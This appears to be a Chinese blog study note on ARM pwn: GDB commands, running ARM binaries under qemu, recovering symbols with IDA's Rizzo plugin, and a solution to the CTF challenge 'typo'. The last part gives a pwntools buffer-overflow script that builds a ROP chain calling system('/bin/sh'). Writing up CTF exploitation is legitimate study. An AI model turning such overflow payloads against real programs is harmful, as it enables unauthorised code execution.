抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

调试

常用命令

info functions :显示程序的使用的函数

disassemble 函数名 :反汇编指定函数

查看内存命令x/<n/f/u>

n是一个正整数,表示显示内存的长度f 表示显示的格式

u表示从当前地址往后请求的字节数(u参数可以用下面的字符来代替b表示单字节,h表示双字节,w表示四字节,g表示八字节)

编译arm架构程序并用qemu执行

1
2
3
4
#编译
arm-linux-gnueabihf-gcc -g hello.c -o eastgets
#qemu执行 动态链接程序,需要指定libc的位置
qemu-arm -L /usr/arm-linux-gnueabihf/ ./eastgets

typo(例题)

32位arm小端,静态编译,没有符号表

恢复符号表

对于静态编译的 bianry, 可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表

https://www.freebuf.com/articles/terminal/134980.html

arm架构的libc在 /usr/arm-linux-gnueabihf/lib里面

尝试恢复符号表:

(1)下载对应libc.so

sudo apt install libc6-armhf-cross cp /usr/arm-linux-gnueabihf/lib/libc-2.23.so ./

(2)下载rizzo插件

使用rizzo插件:

https://github.com/fireundubh/IDA7-Rizzo

放入:C:\Program Files\IDA 7.0\plugins

(3)用IDA打开libc-2.23.so

导出libc.23.so.riz:

File->Produce file->Rizzo signature file

(4)打开目标程序

加载.riz:

File->Load file->Rizzo signature file

溢出函数

arm架构下32bit程序,函数的前四个参数分别保存在r0~r3寄存器中,其余的参数在栈中,函数返回值 保存在寄存器r0中。

找到0x20904,将“/bin/sh”地址赋给r0,并将system的地址赋给pc,就可以执行system(“/bin/sh”)

1
2
3
4
5
6
7
8
from pwn import *
payload = "A"*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
p = process("./typo")
p.recvuntil("quit")
p.send("\n")
p.recvuntil("----")
p.sendline(payload)
p.interactive()

评论